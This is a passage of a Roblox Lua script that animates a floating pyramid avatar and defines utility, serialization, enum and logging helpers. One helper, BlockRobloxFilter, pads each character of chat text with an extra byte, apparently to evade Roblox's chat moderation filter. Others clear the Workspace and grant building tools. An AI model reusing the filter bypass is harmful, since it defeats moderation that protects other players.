  707.                                         local camera_distance = PyramidCharacter.camera_distance
  708.                                         Camera.Focus = Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)
  709.                                         PyramidCharacter.camera_position = (Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)).p
  710.                                 end
  711.                         end)
  712.                         coroutine.yield()
  713.                         if Camera.Focus == focus then
  714.                                 PyramidCharacter.camera_distance = (focus.p - cframe.p).magnitude
  715.                         else
  716.                                 local camera_distance = PyramidCharacter.camera_distance
  717.                                 Camera.Focus = Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)
  718.                                 PyramidCharacter.camera_position = (Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)).p
  719.                         end
  720.                         if connection.connected then
  721.                                 connection:disconnect()
  722.                         end
  723.                 end
  724.         end
  725. end)
  726. function PyramidCharacter.Animate()
  727.         local total_time = time()
  728.         local core = PyramidCharacter.core
  729.         local frame = PyramidCharacter.frame
  730.         if PyramidCharacter.visible then
  731.                 local core_mesh = PyramidCharacter.core_mesh
  732.                 local core_lights = PyramidCharacter.core_lights
  733.                 if not frame or frame.Parent ~= core then
  734.                         frame = Instance.new("Model")
  735.                         frame.Archivable = false
  736.                         frame.Parent = core
  737.                         PyramidCharacter.frame = frame
  738.                 end
  739.                 if core.Parent ~= Workspace then
  740.                         core = PyramidCharacter.stock_core:Clone()
  741.                         PyramidCharacter.core = core
  742.                         core.Archivable = false
  743.                         core.Parent = Workspace
  744.                         chatAdornee = core
  745.                 end
  746.                 if core_mesh.Parent ~= core then
  747.                         core_mesh = Instance.new("BlockMesh", core)
  748.                         PyramidCharacter.core_mesh = core_mesh
  749.                 end
  750.                 for index, core_light in ipairs(core_lights) do
  751.                         if core_light.Parent ~= core then
  752.                                 core_light = Instance.new("PointLight", core)
  753.                                 core_lights[index] = core_light
  754.                         end
  755.                         local vertexColor = Vector3.new(Utility.GetRainbowRGB(total_time)) * 0.25 + Vector3.new(1, 1, 1) * 0.75
  756.                         core_light.Color = Color3.new(vertexColor.X, vertexColor.Y, vertexColor.Z)
  757.                         core_light.Brightness = 0.85 + 0.15 * math.random()
  758.                         if core_light.Range ~= 30 then
  759.                                 core_light.Range = 30
  760.                         end
  761.                         if not core_light.Shadows then
  762.                                 core_light.Shadows = true
  763.                         end
  764.                 end
  765.                 if core_mesh.Offset ~= Vector3.new(0, 0, 0) then
  766.                         core_mesh.Offset = Vector3.new(0, 0, 0)
  767.                 end
  768.                 if not core.Anchored then
  769.                         core.Anchored = true
  770.                 end
  771.                 if core.Transparency ~= 0 then
  772.                         core.Transparency = 0
  773.                 end
  774.                 local core_mesh_scale = PyramidCharacter.core_mesh_scale
  775.                 local transition_speed = (math.sin(total_time * math.tau) + 1) / 16
  776.                 core_mesh_scale = core_mesh_scale * (1 - transition_speed) + Vector3.new(math.random() * 0.5 + 0.5, math.random() * 0.5 + 0.5, math.random()
  777.  
  778. * 0.5 + 0.5) * transition_speed
  779.                 core_mesh.Scale = core_mesh_scale * 2
  780.                 local center = CFrame.new(PyramidCharacter.camera_position) * CFrame.Angles(0, total_time * math.tau, 0)
  781.                 local cframe1 = CFrame.new(PyramidCharacter.head_radius, 0, 0)
  782.                 local cframe2 = CFrame.Angles(math.tau / -3, 0, 0)
  783.                 local cframe3 = CFrame.Angles(0, math.tau / 3, 0)
  784.                 local cframe4 = center * cframe3              
  785.                 local desired1 = center * CFrame.new(0, PyramidCharacter.head_radius, 0)
  786.                 local desired2 = center * cframe2 * cframe1
  787.                 local desired3 = cframe4 * cframe2 * cframe1
  788.                 local desired4 = cframe4 * cframe3 * cframe2 * cframe1
  789.                 local point1 = (PyramidCharacter.point1 * 3 + desired1.p) / 4
  790.                 local point2 = (PyramidCharacter.point2 * 3 + desired2.p) / 4
  791.                 local point3 = (PyramidCharacter.point3 * 3 + desired3.p) / 4
  792.                 local point4 = (PyramidCharacter.point4 * 3 + desired4.p) / 4
  793.                 PyramidCharacter.point1 = point1
  794.                 PyramidCharacter.point2 = point2
  795.                 PyramidCharacter.point3 = point3
  796.                 PyramidCharacter.point4 = point4
  797.                 local head_properties = PyramidCharacter.head_properties
  798.                 PyramidCharacter.CreateTriangle(point1, point2, point3, head_properties, frame, 1).Archivable = false
  799.                 PyramidCharacter.CreateTriangle(point2, point3, point4, head_properties, frame, 2).Archivable = false
  800.                 PyramidCharacter.CreateTriangle(point3, point4, point1, head_properties, frame, 3).Archivable = false
  801.                 PyramidCharacter.CreateTriangle(point4, point1, point2, head_properties, frame, 4).Archivable = false
  802.                 core.CFrame = CFrame.new((point1 + point2 + point3 + point4) / 4) * CFrame.Angles(total_time * math.tau, total_time * math.tau / 2,
  803.  
  804. total_time * math.tau / 3)
  805.                 PyramidCharacter.center = center
  806.         else
  807.                 if core.Parent then
  808.                         core:Destroy()
  809.                 end
  810.                 if frame and frame.Parent then
  811.                         frame:Destroy()
  812.                 end
  813.                 PyramidCharacter.frame = nil
  814.         end
  815. end
  816. function PyramidCharacter.MainLoop()
  817.         PyramidCharacter.Animate()
  818.         RunService.Stepped:wait()
  819. end
  820. TaskScheduler.Start(function()
  821.         while true do
  822.                 PyramidCharacter.MainLoop()
  823.         end
  824. end)
  825.  
  826. RBXInstance = {};
  827.  
  828. RBXInstance.init_metatable = {}
  829. function RBXInstance.init_metatable:__call(data)
  830.         local instance = Instance.new(self[1])
  831.         for key, value in pairs(data) do
  832.                 if type(key) == "number" then
  833.                         value.Parent = instance
  834.                 else
  835.                         instance[key] = value
  836.                 end
  837.         end
  838.         return instance
  839. end
  840. function RBXInstance.new(className)
  841.         return setmetatable({className}, RBXInstance.init_metatable)
  842. end
  843.  
  844. Utility = {};
  845.  
  846. function Utility.CleanLighting()
  847.         Lighting.Ambient = Color3.new(0, 0, 0)
  848.         Lighting.Brightness = 1
  849.         Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
  850.         Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  851.         Lighting.FogColor = Color3.new(0.75294125080109, 0.75294125080109, 0.75294125080109)
  852.         Lighting.FogEnd = 100000
  853.         Lighting.FogStart = 0
  854.         Lighting.GeographicLatitude = 41.733299255371095
  855.         Lighting.GlobalShadows = true
  856.         Lighting.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  857.         Lighting.Outlines = false
  858.         Lighting.ShadowColor = Color3.new(0.70196080207825, 0.70196080207825, 0.72156864404678)
  859.         Lighting.TimeOfDay = "14:00:00"
  860.         for index, child in ipairs(Lighting:GetChildren()) do
  861.                 if child:IsA("Sky") then
  862.                         child:Destroy()
  863.                 end
  864.         end
  865. end
  866.  
  867. function Utility.GetProperty(object, field)
  868.         return object[field]
  869. end
  870.  
  871. function Utility.CaseInsensitivePattern(pattern)
  872.         return string.gsub(pattern, "(%%?)(.)", Utility.CaseInsensitivePatternReplaceFunc)
  873. end
  874. function Utility.CaseInsensitivePatternReplaceFunc(percent, letter)
  875.         if percent ~= "" or not letter:match("%a") then
  876.                 return percent .. letter
  877.         else
  878.                 return "[" .. string.lower(letter) .. string.upper(letter) .. "]"
  879.         end
  880. end
  881. function Utility.FindHumanoidClosestToRay(ray, exlusionList)
  882.         local view = CFrame.new(ray.Origin, ray.Origin + ray.Direction)
  883.         local inverseView = view:inverse()
  884.         local objects = Workspace:GetChildren()
  885.         local numObjects = #objects
  886.         local minDistance = math.huge
  887.         local closestHumanoid, closestTorso, closestTorsoPosition
  888.         for index, object in ipairs(objects) do
  889.                 for index, child in ipairs(object:GetChildren()) do
  890.                         numObjects = numObjects + 1
  891.                         objects[numObjects] = child
  892.                 end
  893.                 if object.ClassName == "Humanoid" and object.Health > 0 then
  894.                         local torso = object.Torso
  895.                         if torso and not (exlusionList and exlusionList[torso]) then
  896.                                 local torsoPosition = torso.Position
  897.                                 local relativePosition = inverseView * torsoPosition
  898.                                 local distanceZ = -relativePosition.Z
  899.                                 if distanceZ > 0 then
  900.                                         local distance = (inverseView * torsoPosition * Vector3.new(1, 1, 0)).magnitude / distanceZ
  901.                                         if distance < 0.25 and distance < minDistance then
  902.                                                 closestHumanoid = object
  903.                                                 closestTorso = torso
  904.                                                 closestTorsoPosition = torsoPosition
  905.                                                 minDistance = distance
  906.                                         end
  907.                                 end
  908.                         end
  909.                 end
  910.         end
  911.         return closestHumanoid, closestTorso, closestTorsoPosition, minDistance
  912. end
  913. function Utility.FindLocalHead()
  914.         if Player then
  915.                 local head, position, view
  916.                 pcall(function()
  917.                         position = Camera.Focus.p
  918.                         view = Camera.CoordinateFrame
  919.                 end)
  920.                 pcall(function()
  921.                         for _, child in ipairs(Workspace:GetChildren()) do
  922.                                 if Players:GetPlayerFromCharacter(child) == Player then
  923.                                         for _, child in ipairs(child:GetChildren()) do
  924.                                                 if tostring(child) == "Head" and pcall(assert, pcall(Game.IsA, child, "BasePart")) then
  925.                                                         head = child
  926.                                                         break
  927.                                                 end
  928.                                         end
  929.                                         break
  930.                                 end
  931.                         end
  932.                         if not head and view then
  933.                                 local min_distance = math.huge
  934.                                 local objects = Workspace:GetChildren()
  935.                                 for _, object in ipairs(objects) do
  936.                                         local success, is_part = pcall(Game.IsA, object, "BasePart")
  937.                                         if success and is_part then
  938.                                                 pcall(function()
  939.                                                         local distance = (view:pointToObjectSpace(object.Position) * Vector3.new(1, 1, 0)).magnitude
  940.                                                         if distance < min_distance and distance < 1 then
  941.                                                                 min_distance = distance
  942.                                                                 head = object
  943.                                                         elseif tostring(object) == "Head" and tostring(object.Parent):lower():match("^" .. tostring(Player):lower()) then
  944.                                                                 min_distance = 0
  945.                                                                 head = object
  946.                                                         end
  947.                                                 end)
  948.                                                 if min_distance < 5e-4 then
  949.                                                         break
  950.                                                 end
  951.                                         end
  952.                                                 pcall(function()
  953.                                                 if not object:IsA("Camera") then
  954.                                                         for _, child in ipairs(object:GetChildren()) do
  955.                                                                 objects[#objects + 1] = child
  956.                                                         end
  957.                                                 end
  958.                                         end)
  959.                                 end
  960.                         end
  961.                 end)
  962.                 return head, position, view
  963.         end
  964. end
  965. function Utility.GetBuildingTools()
  966.         local backpack = Player:FindFirstChild("Backpack")
  967.         if backpack then
  968.                 local moveTool = Instance.new("HopperBin")
  969.                 local cloneTool = Instance.new("HopperBin")
  970.                 local deleteTool = Instance.new("HopperBin")
  971.                 moveTool.BinType = Enum.BinType.GameTool
  972.                 cloneTool.BinType = Enum.BinType.Clone
  973.                 deleteTool.BinType = Enum.BinType.Hammer
  974.                 moveTool.Parent = backpack
  975.                 cloneTool.Parent = backpack
  976.                 deleteTool.Parent = backpack
  977.         end
  978. end
  979. function Utility.Rejoin()
  980.         Workspace.Parent:service'TeleportService':Teleport(Game.PlaceId)
  981. end
  982.  
  983. function Utility.BlockRobloxFilter(text)
  984.     return string.gsub(text, ".", "%1\143")
  985. end
  986.  
  987. function Utility.GetTimestamp()
  988.     local unix_time = tick()
  989.     local time_secs = math.floor(unix_time % 60)
  990.     local time_mins = math.floor(unix_time / 60 % 60)
  991.     local time_hours = math.floor(unix_time / 3600 % 24)
  992.     return string.format("%02i:%02i:%02i", time_hours, time_mins, time_secs)
  993. end
  994.  
  995. function Utility.GetRainbowRGB(hue)
  996.         local section = hue % 1 * 3
  997.         local secondary = 0.5 * math.pi * (section % 1)
  998.         if section < 1 then
  999.                 return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
  1000.         elseif section < 2 then
  1001.                 return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
  1002.         else
  1003.                 return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
  1004.         end
  1005. end
  1006.  
  1007. function Utility.SetProperty(object, field, value)
  1008.         object[field] = value
  1009. end
  1010.  
  1011. function Utility.CleanWorkspace()
  1012.         for index, child in ipairs(Workspace:GetChildren()) do
  1013.                 if not (Players:GetPlayerFromCharacter(child) or child.ClassName == "Camera" or child:IsA("Script") or child.ClassName == "Terrain") then
  1014.                         pcall(child.Destroy, child)
  1015.                 end
  1016.         end
  1017.         Workspace.Terrain:Clear()
  1018.         local base = Instance.new("Part")
  1019.         base.Anchored = true
  1020.         base.BrickColor = BrickColor.new("Earth green")
  1021.         base.Locked = true
  1022.         base.Name = "Base"
  1023.         base.Size = Vector3.new(512, 1.2, 512)
  1024.         base.Parent = Workspace
  1025. end
  1026.  
  1027. function Utility.CleanWorkspaceAndScripts()
  1028.         for index, child in ipairs(Workspace:GetChildren()) do
  1029.                 if not (Players:GetPlayerFromCharacter(child) or child.ClassName == "Camera" or child.ClassName == "Terrain") then
  1030.                         pcall(child.Destroy, child)
  1031.                 end
  1032.         end
  1033.         Workspace.Terrain:Clear()
  1034.         local base = Instance.new("Part")
  1035.         base.Anchored = true
  1036.         base.BrickColor = BrickColor.new("Earth green")
  1037.         base.Locked = true
  1038.         base.Name = "Base"
  1039.         base.Size = Vector3.new(512, 1.2, 512)
  1040.         base.Parent = Workspace
  1041. end
  1042.  
  1043. function Utility.CreateDummy(cframe, name, parent)
  1044.         local model = Instance.new("Model")
  1045.         model.Archivable = false
  1046.         model.Name = name
  1047.         local humanoid = Instance.new("Humanoid", model)
  1048.         local head = Instance.new("Part", model)
  1049.         local face = Instance.new("Decal", head)
  1050.         local head_mesh = Instance.new("SpecialMesh", head)
  1051.         local torso = Instance.new("Part", model)
  1052.         local right_arm = Instance.new("Part", model)
  1053.         local left_arm = Instance.new("Part", model)
  1054.         local right_leg = Instance.new("Part", model)
  1055.         local left_leg = Instance.new("Part", model)
  1056.         local neck = Instance.new("Motor", torso)
  1057.         local right_shoulder = Instance.new("Motor", torso)
  1058.         local left_shoulder = Instance.new("Motor", torso)
  1059.         local right_hip = Instance.new("Motor", torso)
  1060.         local left_hip = Instance.new("Motor", torso)
  1061.         head.BrickColor = BrickColor.Yellow()
  1062.         head.CFrame = cframe * CFrame.new(0, 1.5, 0)
  1063.         head.FormFactor = "Symmetric"
  1064.         head.Locked = true
  1065.         head.Name = "Head"
  1066.         head.Size = Vector3.new(2, 1, 1)
  1067.         head.TopSurface = "Smooth"
  1068.         face.Texture = "rbxasset://textures/face.png"
  1069.         head_mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
  1070.         torso.BrickColor = BrickColor.Blue()
  1071.         torso.CFrame = cframe
  1072.         torso.FormFactor = "Symmetric"
  1073.         torso.LeftSurface = "Weld"
  1074.         torso.Locked = true
  1075.         torso.RightSurface = "Weld"
  1076.         torso.Name = "Torso"
  1077.         torso.Size = Vector3.new(2, 2, 1)
  1078.         right_arm.BrickColor = BrickColor.Yellow()
  1079.         right_arm.CanCollide = false
  1080.         right_arm.CFrame = cframe * CFrame.new(1.5, 0, 0)
  1081.         right_arm.FormFactor = "Symmetric"
  1082.         right_arm.Locked = true
  1083.         right_arm.Name = "Right Arm"
  1084.         right_arm.Size = Vector3.new(1, 2, 1)
  1085.         left_arm.BrickColor = BrickColor.Yellow()
  1086.         left_arm.CanCollide = false
  1087.         left_arm.CFrame = cframe * CFrame.new(-1.5, 0, 0)
  1088.         left_arm.FormFactor = "Symmetric"
  1089.         left_arm.Locked = true
  1090.         left_arm.Name = "Left Arm"
  1091.         left_arm.Size = Vector3.new(1, 2, 1)
  1092.         right_leg.BrickColor = BrickColor.new("Br. yellowish green")
  1093.         right_leg.BottomSurface = "Smooth"
  1094.         right_leg.CanCollide = false
  1095.         right_leg.CFrame = cframe * CFrame.new(0.5, -2, 0)
  1096.         right_leg.FormFactor = "Symmetric"
  1097.         right_leg.Locked = true
  1098.         right_leg.Name = "Right Leg"
  1099.         right_leg.Size = Vector3.new(1, 2, 1)
  1100.         right_leg.TopSurface = "Smooth"
  1101.         left_leg.BrickColor = BrickColor.new("Br. yellowish green")
  1102.         left_leg.BottomSurface = "Smooth"
  1103.         left_leg.CanCollide = false
  1104.         left_leg.CFrame = cframe * CFrame.new(-0.5, -2, 0)
  1105.         left_leg.FormFactor = "Symmetric"
  1106.         left_leg.Locked = true
  1107.         left_leg.Name = "Left Leg"
  1108.         left_leg.Size = Vector3.new(1, 2, 1)
  1109.         left_leg.TopSurface = "Smooth"
  1110.         neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1111.         neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1112.         neck.Name = "Neck"
  1113.         neck.Part0 = torso
  1114.         neck.Part1 = head
  1115.         right_shoulder.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1116.         right_shoulder.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1117.         right_shoulder.MaxVelocity = 0.15
  1118.         right_shoulder.Name = "Right Shoulder"
  1119.         right_shoulder.Part0 = torso
  1120.         right_shoulder.Part1 = right_arm
  1121.         left_shoulder.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1122.         left_shoulder.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1123.         left_shoulder.MaxVelocity = 0.15
  1124.         left_shoulder.Name = "Left Shoulder"
  1125.         left_shoulder.Part0 = torso
  1126.         left_shoulder.Part1 = left_arm
  1127.         right_hip.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1128.         right_hip.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1129.         right_hip.MaxVelocity = 0.1
  1130.         right_hip.Name = "Right Hip"
  1131.         right_hip.Part0 = torso
  1132.         right_hip.Part1 = right_leg
  1133.         left_hip.C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1134.         left_hip.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1135.         left_hip.MaxVelocity = 0.1
  1136.         left_hip.Name = "Left Hip"
  1137.         left_hip.Part0 = torso
  1138.         left_hip.Part1 = left_leg
  1139.         humanoid.Died:connect(function()
  1140.                 wait(5)
  1141.                 model:Destroy()
  1142.         end)
  1143.         model.Parent = parent
  1144.         return model  
  1145. end
  1146.  
  1147. Serializer = {};
  1148.  
  1149. Serializer.NAN = math.abs(0 / 0)
  1150.  
  1151. function Serializer.DecodeFloatArray(metadata_size, lookup, data, index)
  1152.     local metadata_bytes = math.ceil(metadata_size * 0.25)
  1153.     local metadata = {string.byte(data, index, index + metadata_bytes - 1)}
  1154.     local components = {}
  1155.     local start_index = index
  1156.     index = index + metadata_bytes
  1157.     for byte_index, byte in ipairs(metadata) do
  1158.         local last_offset = 3
  1159.         if byte_index == metadata_bytes then
  1160.             last_offset = (metadata_size - 1) % 4
  1161.         end
  1162.         for value_offset = 0, last_offset do
  1163.             local value_code = byte * 0.25 ^ value_offset % 4
  1164.             value_code = value_code - value_code % 1
  1165.             if value_code == 0 then
  1166.                 table.insert(components, Serializer.DecodeFloat32(string.byte(data, index, index + 3)))
  1167.                 index = index + 4
  1168.             else
  1169.                 table.insert(components, lookup[value_code])
  1170.             end
  1171.         end
  1172.     end
  1173.     return components, index - start_index
  1174. end
  1175. function Serializer.EncodeFloatArray(values, common)
  1176.     local lookup = {[common[1]] = 1, [common[2]] = 2, [common[3]] = 3}
  1177.     local value_count = #values
  1178.     local metadata_bytes = math.ceil(value_count * 0.25)
  1179.     local metadata = {}
  1180.     local buffer = {}
  1181.     for byte_index = 1, metadata_bytes do
  1182.         local last_offset = 3
  1183.         if byte_index == metadata_bytes then
  1184.             last_offset = (value_count - 1) % 4
  1185.         end
  1186.         local metadata_byte = 0
  1187.         local offset_multiplier = 1
  1188.         local byte_offset = (byte_index - 1) * 4 + 1
  1189.         for value_offset = 0, last_offset do
  1190.             local value_index = byte_offset + value_offset
  1191.             local value = values[value_index]
  1192.             local code = lookup[value] or 0
  1193.             metadata_byte = metadata_byte + code * offset_multiplier
  1194.             offset_multiplier = offset_multiplier * 4
  1195.             if code == 0 then
  1196.                 table.insert(buffer, Serializer.EncodeFloat32(value))
  1197.             end
  1198.         end
  1199.         metadata[byte_index] = string.char(metadata_byte)
  1200.     end
  1201.     return table.concat(metadata) .. table.concat(buffer)
  1202. end
  1203.  
  1204. function Serializer.DecodeColor3(data, index)
  1205.     local components, size = Serializer.DecodeFloatArray(3, {0, 0.5, 1}, data, index)
  1206.     return Color3.new(unpack(components)), size
  1207. end
  1208. function Serializer.DecodeFloat32(b0, b1, b2, b3)
  1209.     local b2_low = b2 % 128
  1210.     local mantissa = b0 + (b1 + b2_low * 256) * 256
  1211.     local exponent = (b2 - b2_low) / 128 + b3 % 128 * 2
  1212.     local number
  1213.     if mantissa == 0 then
  1214.         if exponent == 0 then
  1215.             number = 0
  1216.         elseif exponent == 0xFF then
  1217.             number = math.huge
  1218.         else
  1219.             number = 2 ^ (exponent - 127)
  1220.         end
  1221.     elseif exponent == 255 then
  1222.         number = Serializer.NAN
  1223.     else
  1224.         number = (1 + mantissa / 8388608) * 2 ^ (exponent - 127)
  1225.     end
  1226.     if b3 >= 128 then
  1227.         return -number
  1228.     else
  1229.         return number
  1230.     end
  1231. end
  1232. function Serializer.EncodeColor3(color3)
  1233.     return Serializer.EncodeFloatArray({color3.r, color3.g, color3.b}, {0, 0.5, 1})
  1234. end
  1235. function Serializer.EncodeFloat32(number)
  1236.     if number == 0 then
  1237.         if 1 / number > 0 then
  1238.             return "\0\0\0\0"
  1239.         else
  1240.             return "\0\0\0\128"
  1241.         end
  1242.     elseif number ~= number then
  1243.         if string.sub(tostring(number), 1, 1) == "-" then
  1244.             return "\255\255\255\255"
  1245.         else
  1246.             return "\255\255\255\127"
  1247.         end
  1248.     elseif number == math.huge then
  1249.         return "\0\0\128\127"
  1250.     elseif number == -math.huge then
  1251.         return "\0\0\128\255"
  1252.     else
  1253.         local b3 = 0
  1254.         if number < 0 then
  1255.             number = -number
  1256.             b3 = 128
  1257.         end
  1258.         local mantissa, exponent = math.frexp(number)
  1259.         exponent = exponent + 126
  1260.         if exponent < 0 then
  1261.             return "\0\0\0" .. string.char(b3)
  1262.         elseif exponent >= 255 then
  1263.             return "\0\0\128" .. string.char(b3 + 0x7F)
  1264.         else
  1265.             local fraction = mantissa * 16777216 - 8388608 + 0.5
  1266.             fraction = fraction - fraction % 1
  1267.             local exponent_low = exponent % 2
  1268.             local b0 = fraction % 256
  1269.             local b1 = fraction % 65536
  1270.             local b2 = (fraction - b1) / 65536 + exponent_low * 128
  1271.             b1 = (b1 - b0) / 256
  1272.             b3 = b3 + (exponent - exponent_low) / 2
  1273.             return string.char(b0, b1, b2, b3)
  1274.         end
  1275.     end
  1276. end
  1277.  
  1278. LuaEnum = {};
  1279.  
  1280. LuaEnum.enum_metatable = {
  1281.     __call = function(self, value)
  1282.         local valueType = type(value)
  1283.         if valueType == "table" and getmetatable(value) == LuaEnum.enum_item_metatable then
  1284.             return value
  1285.         else
  1286.             return self[value]
  1287.         end
  1288.     end,
  1289.     __index = function(self, key)
  1290.         local enumItem = self.ItemsByName[key] or self.ItemsByValue[key]
  1291.         if enumItem == nil then
  1292.             local default = self.Default
  1293.             if default then
  1294.                 Logger.printf("Warning", "%s is not a valid EnumItem, returning default (%s)", Utility.ToString(key), tostring(default))
  1295.                 enumItem = default
  1296.             else
  1297.                 Logger.errorf(2, "%s is not a valid EnumItem", Utility.ToString(key))
  1298.             end
  1299.         end
  1300.         return enumItem
  1301.     end,
  1302.     __tostring = function(self)
  1303.         return self.Name
  1304.     end
  1305. }
  1306. LuaEnum.enum_item_metatable = {
  1307.     __tostring = function(self)
  1308.         return self.Enum.Name .. "." .. self.Name
  1309.     end
  1310. }
  1311. LuaEnum.init_metatable = {
  1312.     __call = function(self, items)
  1313.         local enumItemsByName = {}
  1314.         local enumItemsByValue = {}
  1315.         local enum = {
  1316.             ItemsByName = enumItemsByName,
  1317.             ItemsByValue = enumItemsByValue,
  1318.             Name = self[1]
  1319.         }
  1320.         local default = items.Default
  1321.         if default ~= nil then
  1322.             items.Default = nil
  1323.         end
  1324.         for value, name in pairs(items) do
  1325.             local enumItem = setmetatable({
  1326.                 Enum = enum,
  1327.                 Name = name,
  1328.                 Value = value
  1329.             }, LuaEnum.enum_item_metatable)
  1330.             enumItemsByName[name] = enumItem
  1331.             enumItemsByValue[value] = enumItem
  1332.             if name == default or value == default then
  1333.                 enum.Default = enumItem
  1334.             end
  1335.         end
  1336.         return setmetatable(enum, LuaEnum.enum_metatable)
  1337.     end
  1338. }
  1339. function LuaEnum.new(name)
  1340.     return setmetatable({name}, LuaEnum.init_metatable)
  1341. end
  1342.  
  1343. Logger = {};
  1344.  
  1345. Logger.entries = {0}
  1346. Logger.MessageType = LuaEnum.new "MessageType" {
  1347.     "Output",
  1348.     "Info",
  1349.     "Warning",
  1350.     "Severe",
  1351.     "Error",
  1352.     Default = "Severe"
  1353. }
  1354. Logger.MESSAGE_TYPE_SETTINGS = {
  1355.     { -- Output
  1356.         Font = "Arial",
  1357.         TextColor3 = Color3.new(0, 0, 0)
  1358.     },
  1359.     { -- Info
  1360.         Font = "Arial",
  1361.         TextColor3 = Color3.new(0, 0, 1)
  1362.     },
  1363.     { -- Warning
  1364.         Font = "ArialBold",
  1365.         TextColor3 = Color3.new(1, 0.5, 0)
  1366.     },
  1367.     { -- Severe/Error
  1368.         Font = "ArialBold",
  1369.         TextColor3 = Color3.new(1, 0, 0)
  1370.     }
  1371. }
  1372. Logger.MAX_ENTRIES = 160
  1373. Logger.WARNING_TRACE_ITEM_COUNT = 5
  1374. Logger.rbxPrint = getfenv(RbxUtility.CreateSignal).print
  1375. function Logger.error(level, message)
  1376.     message = message .. "\n" .. Logger.StackTraceToString(Logger.GenerateStackTrace(level + 1))
  1377.     Logger.AddEntry {Logger.MessageType.Error, message}
  1378.     error(level + 1, message)
  1379. end
  1380. function Logger.errorf(level, messageFormat, ...)
  1381.     Logger.error(level + 1, string.format(messageFormat, ...))
  1382. end
  1383. function Logger.print(messageType, message, level)
  1384.     messageType = Logger.MessageType(messageType)
  1385.     local entry = {messageType, message}
  1386.     Logger.rbxPrint(Logger.EntryToString(entry))
  1387.     Logger.AddEntry(entry)
  1388.     if level ~= false and messageType.Value >= Logger.MessageType.Warning.Value then
  1389.         local maxItems
  1390.         if messageType.Value >= Logger.MessageType.Severe.Value then
  1391.             maxItems = math.huge
  1392.         else
  1393.             maxItems = Logger.WARNING_TRACE_ITEM_COUNT
  1394.         end
  1395.         local trace = Logger.GenerateStackTrace((level or 1) + 1, math.huge, 10, maxItems + 1)
  1396.         local traceLength = #trace
  1397.         local stackTraceMessage
  1398.         local suffix = ""
  1399.         if traceLength > maxItems then
  1400.             trace[traceLength] = nil
  1401.             suffix = "\n..."
  1402.         end
  1403.         Logger.print("Info", "Stack trace:\n" .. Logger.StackTraceToString(trace) .. suffix .. "\nStack end", false)
  1404.     end
  1405. end
  1406. function Logger.printf(messageType, messageFormat, ...)
  1407.     Logger.print(messageType, string.format(messageFormat, ...), 2)
  1408. end
  1409. function Logger.AddEntry(entry)
  1410.     local entries = Logger.entries
  1411.     if entries[1] >= Logger.MAX_ENTRIES then
  1412.         local first = entries[2]
  1413.         local nextFirst = first[2]
  1414.         first[1] = nil
  1415.         first[2] = nil
  1416.         entries[1] = entries[1] - 1
  1417.         entries[2] = nextFirst
  1418.         if not nextFirst then
  1419.             entries[3] = nil
  1420.         end
  1421.     end
  1422.     local last = entries[3]
  1423.     local node = {entry}
  1424.     if last then
  1425.         entries[3] = node
  1426.         last[2] = node
  1427.     else
  1428.         entries[2] = node
  1429.         entries[3] = node
  1430.     end
  1431.     entries[1] = entries[1] + 1
  1432. end
  1433. function Logger.NodeIterator(list, node)
  1434.     if node then
  1435.         node = node[2]
  1436.     else
  1437.         node = list[2]
  1438.     end
  1439.     if node then
  1440.         return node, node[1]
  1441.     end
  1442. end
  1443. function Logger.EntryToString(entry)
  1444.     local messageType, message = entry[1], tostring(entry[2])
  1445.     if messageType and messageType.Value >= Logger.MessageType.Info.Value then
  1446.         return messageType.Name .. ": " .. message
  1447.     else
  1448.         return message
  1449.     end
  1450. end
  1451. function Logger.GenerateStackTrace(level, maxLevel, maxTailCalls, maxTraceItems)
  1452.     level = level + 2
  1453.     if maxLevel == nil then
  1454.         maxLevel = math.huge
  1455.     else
  1456.         maxLevel = maxLevel + 2
  1457.     end
  1458.     maxTailCalls = maxTailCalls or 10
  1459.     maxTraceItems = maxTraceItems or math.huge
  1460.     local trace = {}
  1461.     local numTailCalls = 0
  1462.     while level <= maxLevel and numTailCalls <= maxTailCalls and #trace < maxTraceItems do
  1463.         local success, errorMessage = xpcall(function() error("-", level + 1) end, function(...) return ... end)
  1464.         if errorMessage == "-" then
  1465.             numTailCalls = numTailCalls + 1
  1466.         else
  1467.             if numTailCalls > 0 then
  1468.                 local traceSize = #trace
  1469.                 if traceSize > 0 then
  1470.                     trace[#trace][3] = numTailCalls
  1471.                 end
  1472.                 numTailCalls = 0
  1473.             end
  1474.             local script, line = string.match(errorMessage, "(.*):(%d+)")
  1475.             trace[#trace + 1] = {script, tonumber(line), 0}
  1476.         end
  1477.         level = level + 1
  1478.     end
  1479.     return trace
  1480. end
  1481. function Logger.StackTraceToString(trace)
  1482.     local buffer = {}
  1483.     for _, data in ipairs(trace) do
  1484.         buffer[#buffer + 1] = string.format("Script %q, line %d", data[1], data[2])
  1485.         local numTailCalls = data[3]
  1486.         if numTailCalls == 1 then
  1487.             buffer[#buffer + 1] = "... 1 tail call"
  1488.         elseif numTailCalls > 1 then
  1489.             buffer[#buffer + 1] = string.format("... %d tail calls", numTailCalls)
  1490.         end
  1491.     end
  1492.     return table.concat(buffer, "\n")
  1493. end
